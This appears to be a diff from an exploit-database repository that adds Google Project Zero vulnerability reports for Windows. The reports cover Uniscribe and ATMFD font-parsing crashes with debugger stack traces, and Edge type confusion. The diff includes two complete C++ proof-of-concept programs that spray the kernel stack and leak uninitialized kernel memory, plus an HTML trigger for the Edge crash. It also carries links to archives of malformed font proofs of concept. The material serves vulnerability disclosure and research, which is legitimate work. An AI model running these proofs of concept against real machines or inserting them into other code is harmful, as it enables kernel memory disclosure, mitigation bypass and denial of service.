08 002cef68 774e5bee 002cf0b8 002cf0c0 002cf0a4 USP10!GenericEngineGetGlyphPositions+0x8a3
09 002cf03c 774e2d8a 002cf0b8 002cf0c0 002cf0a4 USP10!ShapingGetGlyphPositions+0x40e
0a 002cf134 774b5e45 000105d3 03726124 0372c020 USP10!ShlPlace+0x20a
0b 002cf17c 774c193d 000105d3 03726124 037263dc USP10!ScriptPlace+0x165
0c 002cf1d8 774c2bd4 00000000 00000000 002cf258 USP10!RenderItemNoFallback+0x2ed
0d 002cf204 774c2e62 00000000 00000000 002cf258 USP10!RenderItemWithFallback+0x104
0e 002cf228 774c43f9 00000000 002cf258 03726124 USP10!RenderItem+0x22
0f 002cf26c 774b7a04 000004a0 00000400 000105d3 USP10!ScriptStringAnalyzeGlyphs+0x1e9
10 002cf284 760a1736 000105d3 03726040 0000000a USP10!ScriptStringAnalyse+0x284
11 002cf2d0 760a18c1 000105d3 002cf754 0000000a LPK!LpkStringAnalyse+0xe5
12 002cf3cc 760a17b4 000105d3 00000000 00000000 LPK!LpkCharsetDraw+0x332
13 002cf400 77df56a9 000105d3 00000000 00000000 LPK!LpkDrawTextEx+0x40
14 002cf440 77df5a64 000105d3 00000120 00000000 USER32!DT_DrawStr+0x13c
15 002cf48c 77df580f 000105d3 002cf754 002cf768 USER32!DT_GetLineBreak+0x78
16 002cf538 77df5882 000105d3 00000000 0000000a USER32!DrawTextExWorker+0x250
17 002cf55c 77df5b68 000105d3 002cf754 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42238.zip

76
platforms/windows/dos/42239.txt Executable file
View file

@ -0,0 +1,76 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1203
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlSinglePosLookup::getCoverageTable function, while trying to display text using a corrupted TTF font file:
---
(7f0.488): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=03670ffe ebx=0365c048 ecx=03671000 edx=03671000 esi=03671000 edi=0024e9d4
eip=77500808 esp=0024e918 ebp=0024e918 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
USP10!otlSinglePosLookup::getCoverageTable+0x48:
77500808 668b4802 mov cx,word ptr [eax+2] ds:0023:03671000=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0024e918 77502c4b 0024e9d4 03671000 03671000 USP10!otlSinglePosLookup::getCoverageTable+0x48
01 0024e964 77504860 03670ffe 534f5047 00000001 USP10!GetSubtableCoverage+0xab
02 0024ea10 77504c29 534f5047 0367f132 00003ece USP10!BuildTableCache+0x240
03 0024ea48 774fed73 0024ea6c 00004000 0367f000 USP10!BuildCache+0x79
04 0024ea74 774e4fec 0024eaa0 00004000 0024eb44 USP10!BuildOtlCache+0x53
05 0024ecc0 774bd37b 0024edb8 0024ed48 0024ecd8 USP10!ShapingCreateFontCacheData+0x4cc
06 0024edc0 774bd8ef 03663e20 0024f148 00000004 USP10!ShlLoadFont+0x6b
07 0024f02c 774b9317 3c0102ac 0024f0b8 00000000 USP10!LoadFont+0x54f
08 0024f048 774b9630 3c0102ac 0024f070 7750d468 USP10!FindOrCreateFaceCache+0xe7
09 0024f150 774b99bb 3c0102ac 03656124 3c0102ac USP10!FindOrCreateSizeCacheWithoutRealizationID+0xf0
0a 0024f178 774ba528 3c0102ac 03656124 03656124 USP10!FindOrCreateSizeCacheUsingRealizationID+0xbb
0b 0024f19c 774ba692 03656124 3c0102ac 03656000 USP10!UpdateCache+0x38
0c 0024f1b0 774b7918 3c0102ac 000004a0 00000400 USP10!ScriptCheckCache+0x62
0d 0024f1cc 760a1736 3c0102ac 03656040 00000001 USP10!ScriptStringAnalyse+0x198
0e 0024f218 760a18c1 3c0102ac 0024f69e 00000001 LPK!LpkStringAnalyse+0xe5
0f 0024f314 760a17b4 3c0102ac 00000000 00000000 LPK!LpkCharsetDraw+0x332
10 0024f348 77df56a9 3c0102ac 00000000 00000000 LPK!LpkDrawTextEx+0x40
11 0024f388 77df5a64 3c0102ac 00000048 00000000 USER32!DT_DrawStr+0x13c
12 0024f3d4 77df580f 3c0102ac 0024f69e 0024f6a0 USER32!DT_GetLineBreak+0x78
13 0024f480 77df5882 3c0102ac 00000000 00000009 USER32!DrawTextExWorker+0x250
14 0024f4a4 77df5b68 3c0102ac 0024f69c ffffffff USER32!DrawTextExW+0x1e
[...]
0:000> !heap -p -a eax
address 03670ffe found in
_DPH_HEAP_ROOT @ 3651000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
3651d98: 3670c40 3c0 - 3670000 2000
73388e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77d26206 ntdll!RtlDebugAllocateHeap+0x00000030
77cea127 ntdll!RtlpAllocateHeap+0x000000c4
77cb5950 ntdll!RtlAllocateHeap+0x0000023a
72e0ae6a vrfcore!VfCoreRtlAllocateHeap+0x0000002a
774c6724 USP10!UspAllocCache+0x00000054
774bad00 USP10!GetOtlTables+0x000000d0
774d777f USP10!CheckUpdateFontDescriptor+0x0000002f
774bd8e2 USP10!LoadFont+0x00000542
774b9317 USP10!FindOrCreateFaceCache+0x000000e7
774b9630 USP10!FindOrCreateSizeCacheWithoutRealizationID+0x000000f0
774b99bb USP10!FindOrCreateSizeCacheUsingRealizationID+0x000000bb
774ba528 USP10!UpdateCache+0x00000038
774ba692 USP10!ScriptCheckCache+0x00000062
774b7918 USP10!ScriptStringAnalyse+0x00000198
760a1736 LPK!LpkStringAnalyse+0x000000e5
760a18c1 LPK!LpkCharsetDraw+0x00000332
760a17b4 LPK!LpkDrawTextEx+0x00000040
77df56a9 USER32!DT_DrawStr+0x0000013c
77df5a64 USER32!DT_GetLineBreak+0x00000078
77df580f USER32!DrawTextExWorker+0x00000250
77df5882 USER32!DrawTextExW+0x0000001e
77df5b68 USER32!DrawTextW+0x0000004d
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42239.zip

47
platforms/windows/dos/42240.txt Executable file
View file

@ -0,0 +1,47 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1204
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlValueRecord::adjustPos function, while trying to display text using a corrupted TTF font file:
---
(470.4d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=03546538 ecx=0017e9c4 edx=0353961e esi=0017eda4 edi=0353961c
eip=77509f2e esp=0017e96c ebp=0017e97c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
USP10!otlValueRecord::adjustPos+0x7e:
77509f2e 668b17 mov dx,word ptr [edi] ds:0023:0353961c=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0017e97c 775071b1 0017eda4 03546538 035464ac USP10!otlValueRecord::adjustPos+0x7e
01 0017ea04 7750168c 0017edbc 00000005 0017ecbc USP10!otlPairPosLookup::apply+0x1a1
02 0017ea78 775039f1 00000002 0017edbc 0017edb0 USP10!ApplyLookup+0x40c
03 0017ec7c 774ff1d1 534f5047 0017edf4 0017edbc USP10!ApplyFeatures+0x481
04 0017ecc8 774fb28b 00000000 00000000 0017edf4 USP10!RePositionOtlGlyphs+0x1c1
05 0017ecfc 774f7df3 0017ed94 0017ede0 0017edf4 USP10!ShapingLibraryInternal::RePositionOtlGlyphsWithLanguageFallback+0x2b
06 0017ef68 774e5bee 0017f0b8 0017f0c0 0017f0a4 USP10!GenericEngineGetGlyphPositions+0x8a3
07 0017f03c 774e2d8a 0017f0b8 0017f0c0 0017f0a4 USP10!ShapingGetGlyphPositions+0x40e
08 0017f134 774b5e45 af0106d0 03546124 035463dc USP10!ShlPlace+0x20a
09 0017f178 774c193d af0106d0 03546124 035463dc USP10!ScriptPlace+0x165
0a 0017f1d4 774c2bd4 00000000 00000000 0017f254 USP10!RenderItemNoFallback+0x2ed
0b 0017f200 774c2e62 00000000 00000000 0017f254 USP10!RenderItemWithFallback+0x104
0c 0017f224 774c43f9 00000000 0017f254 03546124 USP10!RenderItem+0x22
0d 0017f268 774b7a04 000004a0 00000400 af0106d0 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0017f280 760a1736 af0106d0 03546040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0017f2cc 760a18c1 af0106d0 0017f750 0000000a LPK!LpkStringAnalyse+0xe5
10 0017f3c8 760a17b4 af0106d0 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0017f3fc 77df56a9 af0106d0 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0017f43c 77df5a64 af0106d0 00000060 00000000 USER32!DT_DrawStr+0x13c
13 0017f488 77df580f af0106d0 0017f750 0017f764 USER32!DT_GetLineBreak+0x78
14 0017f534 77df5882 af0106d0 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0017f558 77df5b68 af0106d0 0017f750 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 3 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42240.zip

49
platforms/windows/dos/42241.txt Executable file
View file

@ -0,0 +1,49 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1205
We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!otlReverseChainingLookup::apply function, while trying to display text using a corrupted TTF font file:
---
(678.6c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0360c018 ebx=0000ffff ecx=035acffa edx=00000012 esi=0012efa8 edi=0000ffff
eip=7750786b esp=0012e9fc ebp=0012ea38 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USP10!otlReverseChainingLookup::apply+0xbb:
7750786b 0fb700 movzx eax,word ptr [eax] ds:0023:0360c018=????
0:000> kb
# ChildEBP RetAddr Args to Child
00 0012ea38 77501533 0012ef8c 0012efa8 0012eebc USP10!otlReverseChainingLookup::apply+0xbb
01 0012eaa0 77508c6f 00000000 0012ef8c 00000022 USP10!ApplyLookup+0x2b3
02 0012eb24 77508531 0012eb90 42555347 0012ef8c USP10!applyContextLookups+0x21f
03 0012ebf8 77501508 42555347 0012ef8c 015acc64 USP10!otlChainingLookup::apply+0x701
04 0012ec78 775039f1 00000000 0012ef8c 00000040 USP10!ApplyLookup+0x288
05 0012ee7c 774fefcf 42555347 0012efb8 0012ef8c USP10!ApplyFeatures+0x481
06 0012eec8 774fb203 00000000 035aeffa 035aef70 USP10!SubstituteOtlGlyphs+0x1bf
07 0012eef4 774f6edc 0012ef24 0012ef9c 0012efb8 USP10!ShapingLibraryInternal::SubstituteOtlGlyphsWithLanguageFallback+0x23
08 0012f160 774e55da 0012f26c 0012f298 0012f280 USP10!GenericEngineGetGlyphs+0xa1c
09 0012f220 774e273f 0012f26c 0012f298 0012f280 USP10!ShapingGetGlyphs+0x36a
0a 0012f308 774b5c6f a801011c 03586124 03586318 USP10!ShlShape+0x2ef
0b 0012f34c 774c174a a801011c 03586124 03586318 USP10!ScriptShape+0x15f
0c 0012f3ac 774c2bd4 00000000 00000000 0012f42c USP10!RenderItemNoFallback+0xfa
0d 0012f3d8 774c2e62 00000000 00000000 0012f42c USP10!RenderItemWithFallback+0x104
0e 0012f3fc 774c43f9 00000000 0012f42c 03586124 USP10!RenderItem+0x22
0f 0012f440 774b7a04 000004a0 00000400 a801011c USP10!ScriptStringAnalyzeGlyphs+0x1e9
10 0012f458 760a1736 a801011c 03586040 0000000a USP10!ScriptStringAnalyse+0x284
11 0012f4a4 760a18c1 a801011c 0012f928 0000000a LPK!LpkStringAnalyse+0xe5
12 0012f5a0 760a17b4 a801011c 00000000 00000000 LPK!LpkCharsetDraw+0x332
13 0012f5d4 77df56a9 a801011c 00000000 00000000 LPK!LpkDrawTextEx+0x40
14 0012f614 77df5a64 a801011c 00000000 00000000 USER32!DT_DrawStr+0x13c
15 0012f660 77df580f a801011c 0012f928 0012f93c USER32!DT_GetLineBreak+0x78
16 0012f70c 77df5882 a801011c 00000000 0000000a USER32!DrawTextExWorker+0x250
17 0012f730 77df5b68 a801011c 0012f928 ffffffff USER32!DrawTextExW+0x1e
[...]
---
The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached are 2 proof of concept malformed font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42241.zip

126
platforms/windows/dos/42242.cpp Executable file
View file

@ -0,0 +1,126 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1207
We have discovered that the nt!NtQueryInformationResourceManager system call called with the 0 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
The specific name of the 0 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 24 bytes is accepted. At the end of that memory area, 2 uninitialized bytes from the kernel stack can be leaked to the client application.
The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=0 and the allowed output size. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ......AA........
--- cut ---
It is clearly visible here that 2 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
__asm{mov eax, ApiNumber};
__asm{lea edx, ApiNumber + 4};
__asm{int 0x2e};
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Windows 10 1607 32-bit.
CONST ULONG __NR_NtQueryInformationResourceManager = 0x00b6;
// Create a volatile transaction manager.
HANDLE hManager = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
if (hManager == INVALID_HANDLE_VALUE) {
printf("CreateTransactionManager failed, %d\n", GetLastError());
return 1;
}
// Create a resource manager.
GUID guid;
ZeroMemory(&guid, sizeof(guid));
HANDLE hResource = CreateResourceManager(NULL, &guid, RESOURCE_MANAGER_VOLATILE, hManager, NULL);
if (hResource == INVALID_HANDLE_VALUE) {
printf("CreateResourceManager failed, %d\n", GetLastError());
CloseHandle(hManager);
return 1;
}
// Spray the kernel stack to get visible results.
SprayKernelStack();
// Trigger the vulnerability and print out the output structure.
BYTE output[24] = { /* zero padding */ };
DWORD ReturnLength;
NTSTATUS st = SystemCall32(__NR_NtQueryInformationResourceManager, hResource, 0, output, sizeof(output), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationResourceManager failed, %x\n", st);
CloseHandle(hManager);
CloseHandle(hResource);
return 1;
}
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hManager);
CloseHandle(hResource);
return 0;
}

85
platforms/windows/dos/42243.txt Executable file
View file

@ -0,0 +1,85 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1213
We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file, see below:
---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fb69b01e, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 8f635862, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
[...]
FAULTING_IP:
ATMFD+35862
8f635862 803802 cmp byte ptr [eax],2
MM_INTERNAL_CODE: 0
CPU_COUNT: 4
CPU_MHZ: da3
CPU_VENDOR: GenuineIntel
CPU_FAMILY: 6
CPU_MODEL: 3e
CPU_STEPPING: 4
CPU_MICROCODE: 6,3e,4,0 (F,M,S,R) SIG: 19'00000000 (cache) 19'00000000 (init)
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0xD6
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
ANALYSIS_SESSION_HOST: WIN7-32-VM
ANALYSIS_SESSION_TIME: 03-21-2017 10:49:20.0375
ANALYSIS_VERSION: 10.0.10586.567 x86fre
LAST_CONTROL_TRANSFER: from 8f636088 to 8f635862
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
9625f538 8f636088 9625f790 05f70000 9625f790 ATMFD+0x35862
9625f630 8f6355b1 9625f790 05f70000 9625f64c ATMFD+0x36088
9625f734 8f635711 9625f790 05f70000 9625f868 ATMFD+0x355b1
9625f768 8f6051b0 00000000 9625f790 05f70000 ATMFD+0x35711
9625f808 8f607279 00000004 00000001 00000002 ATMFD+0x51b0
9625f888 8f603d14 00000000 00000000 94bb3200 ATMFD+0x7279
9625f96c 8f6e7b8d 00000004 fbad2fc0 fbadaff8 ATMFD+0x3d14
9625f9b4 8f6e7adf 00000001 fbad2fc0 fbadaff8 win32k!PDEVOBJ::LoadFontFile+0x3c
9625f9f4 8f6e74fc ffa6a130 0000002e fbad2fc0 win32k!vLoadFontFileView+0x291
9625fa80 8f6d6403 9625fb58 0000002e 00000001 win32k!PUBLIC_PFTOBJ::bLoadFonts+0x209
9625facc 8f6d73d8 9625fb58 0000002e 00000001 win32k!GreAddFontResourceWInternal+0xfb
9625fc14 8164ddb6 000d9b78 0000002e 00000001 win32k!NtGdiAddFontResourceW+0x142
9625fc14 77ad6c74 000d9b78 0000002e 00000001 nt!KiSystemServicePostCall
---
The bugcheck is caused by an attempt to read memory from an unmapped address. The specific expression being dereferenced by ATMFD.DLL is "base address of the Name INDEX data + NAME.offset[x] - 1", however no bounds checking is performed over the value of NAME.offset[x] before using it for pointer arithmetic. To our current knowledge, this condition can only lead to an out-of-bounds read, thus limiting the impact of the bug to remote denial of service, or potentially local kernel memory disclosure. However, we have not fully confirmed that the severity of the bug is not in fact more significant due to some further ATMFD logic we are not aware of.
Interestingly, the crash is almost identical to the one reported in Issue #386 (MSRC-30296) nearly two years ago, which was supposedly fixed as CVE-2015-2461 in the MS15-080 bulletin. The fact that the same bugcheck still reproduces can potentially mean that the patch was insufficient.
Only a single bitflip applied to a valid font file is sufficient to create an offending testcase (excluding SFNT table checksums). In our case, the byte at offset 0x375 in the original sample must be changed from 0x01 to 0x41. This corresponds to offset 0x71 of the "CFF " table. The PoC font can be found attached to this tracker entry.
The issue reproduces on Windows 7 (other platforms untested). It is easiest to reproduce with Special Pools enabled for ATMFD.DLL, leading to an immediate crash when the bug is triggered. The bugcheck occurs upon opening the font in any default utility such as the Windows Font Viewer -- no special tools are required.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42243.zip

144
platforms/windows/dos/42244.cpp Executable file
View file

@ -0,0 +1,144 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1214&desc=2
We have discovered that the nt!NtQueryInformationWorkerFactory system call called with the WorkerFactoryBasicInformation (7) information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
The specific layout of the output structure corresponding to the class is unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 96 bytes is accepted. Within that memory area, 5 uninitialized bytes from the kernel stack can be leaked to the client application.
The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=WorkerFactoryBasicInformation and the allowed output size. An example output is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 44 5f 9a fe ff ff ff 00 00 00 01 00 00 00 41 .D_............A
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 14 0a 00 00 00 00 01 00 00 10 00 00 00 00 00 00 ................
--- cut ---
It is clearly visible here that among all data copied from ring-0 to ring-3, 1 byte at offset 0x1f and 4 bytes at offset 0x3c remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
extern "C" {
ULONG WINAPI NtMapUserPhysicalPages(
PVOID BaseAddress,
ULONG NumberOfPages,
PULONG PageFrameNumbers
);
NTSTATUS WINAPI
NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle,
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);
NTSTATUS WINAPI
NtQueryInformationWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_In_ ULONG WorkerFactoryInformationClass,
_Out_writes_bytes_(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation,
_In_ ULONG WorkerFactoryInformationLength,
_Out_opt_ PULONG ReturnLength
);
} // extern "C"
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
// Buffer allocated in static program memory, hence doesn't touch the local stack.
static BYTE buffer[4096];
// Fill the buffer with 'A's and spray the kernel stack.
MyMemset(buffer, 'A', sizeof(buffer));
NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
// Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
MyMemset(buffer, 'B', sizeof(buffer));
}
int main() {
// Create a completion port.
HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0);
if (hCompletionPort == NULL) {
printf("CreateIoCompletionPort failed, %d\n", GetLastError());
return 1;
}
// Create the worker factory object to query.
HANDLE hWorkerFactory = NULL;
NTSTATUS st = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (!NT_SUCCESS(st)) {
printf("NtCreateWorkerFactory failed, %x\n", st);
CloseHandle(hCompletionPort);
return 1;
}
// Spray the kernel stack to get visible results.
SprayKernelStack();
// Trigger the vulnerability and print out the output structure.
BYTE output[96] = { /* zero padding */ };
DWORD ReturnLength;
#define WorkerFactoryBasicInformation 7
st = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, output, sizeof(output), &ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryInformationWorkerFactory failed, %x\n", st);
CloseHandle(hWorkerFactory);
CloseHandle(hCompletionPort);
return 1;
}
PrintHex(output, ReturnLength);
// Free resources.
CloseHandle(hWorkerFactory);
CloseHandle(hCompletionPort);
return 0;
}

111
platforms/windows/dos/42246.html Executable file
View file

@ -0,0 +1,111 @@
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1254
There is a type confusion vulnerability in Microsoft Edge. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.
PoC
==========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
function go() {
window.addEventListener("DOMAttrModified", undefined);
m.style.cssText = "clip-path: url(#foo);";
}
</script>
<body onload=go()>
<meter id="m" value="a" frame="below">
<!--
=========================================
Preliminary analysis:
The crash happens inside CAttrArray::PrivateFindInl. Rcx (this) pointer is supposed to point to a CAttrArray but it actually pointa to a CAttribute. CAttrArray::PrivateFindInl is only going to perform reads and its return value is going to be discarded by the calling function (CAttrArray::SetParsed). However the actual type confusion happens further down the stack (possibly inside CssParser::RecordProperty) and if CAttrArray::PrivateFindInl returns false (can be controlled by an attacker), then CAttrArray::Set is going to also be called with the wrong type, which might lead to more serious consequences.
Crash log (Note: crash log is obtained from an older Edge version as the symbols for the up-to date version are no longer available).
=========================================
(1b24.f18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`64acf836 41f644d00380 test byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??
0:009> k
# Child-SP RetAddr Call Site
00 000000ab`02efb3f0 00007ffa`64c9ee99 edgehtml!CAttrArray::PrivateFindInl+0xd6
01 000000ab`02efb420 00007ffa`64bc795b edgehtml!CAttrArray::SetParsed+0x49
02 000000ab`02efb490 00007ffa`64bc96dc edgehtml!CssParser::RecordProperty+0x24b
03 000000ab`02efb500 00007ffa`64bc83dc edgehtml!CssParser::HandleSingleDeclaration+0x21c
04 000000ab`02efb580 00007ffa`64b5d2cb edgehtml!CssParser::HandleDeclaration+0x9c
05 000000ab`02efb5b0 00007ffa`64b5debe edgehtml!CssParser::Write+0x3b
06 000000ab`02efb5f0 00007ffa`64a1c60c edgehtml!ProcessCSSText+0x112
07 000000ab`02efb670 00007ffa`64a357e3 edgehtml!CStyle::SetCssText+0xbc
08 000000ab`02efb6b0 00007ffa`64d22235 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77
09 000000ab`02efb700 00007ffa`63886d07 edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25
0a 000000ab`02efb730 00007ffa`63962640 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x177
0b 000000ab`02efb810 00007ffa`63a02209 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180
0c 000000ab`02efb860 00007ffa`6392475e chakra!Js::JavascriptOperators::CallSetter+0xa9
0d 000000ab`02efb900 00007ffa`639ef932 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de
0e 000000ab`02efb9c0 00007ffa`639ef86f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2
0f 000000ab`02efba10 00007ffa`63986ddb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f
10 000000ab`02efba90 00007ffa`63929a70 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb
11 000000ab`02efbb60 00007ffa`6392e800 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70
